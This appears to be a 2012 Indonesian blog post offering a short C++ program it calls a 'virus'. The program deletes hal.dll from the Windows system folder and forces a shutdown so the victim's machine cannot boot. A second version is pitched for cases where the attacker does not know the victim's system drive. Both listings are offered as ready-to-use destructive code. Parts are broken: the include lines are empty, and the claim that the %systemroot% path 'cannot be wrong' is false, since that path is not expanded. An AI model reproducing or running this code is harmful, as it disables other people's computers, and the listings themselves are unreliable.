YOUR OWN C++ VIRUS THE MOST POWERFULL
Senin, 16 April 2012
0
komentar
YOUR OWN C++ VIRUS THE MOST POWERFULL
This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.
Warning: Do not try this on your home computer.
The Original Code:
Code:
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:
Code:
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.
TERIMA KASIH ATAS KUNJUNGAN SAUDARA
Judul: YOUR OWN C++ VIRUS THE MOST POWERFULL
Ditulis oleh Unknown
Rating Blog 5 dari 5
Semoga artikel ini bermanfaat bagi saudara. Jika ingin mengutip, baik itu sebagian atau keseluruhan dari isi artikel ini harap menyertakan link dofollow ke https://androidbackupapps.blogspot.com/2012/04/your-own-c-virus-most-powerfull.html. Terima kasih sudah singgah membaca artikel ini.Ditulis oleh Unknown
Rating Blog 5 dari 5
0 komentar:
Posting Komentar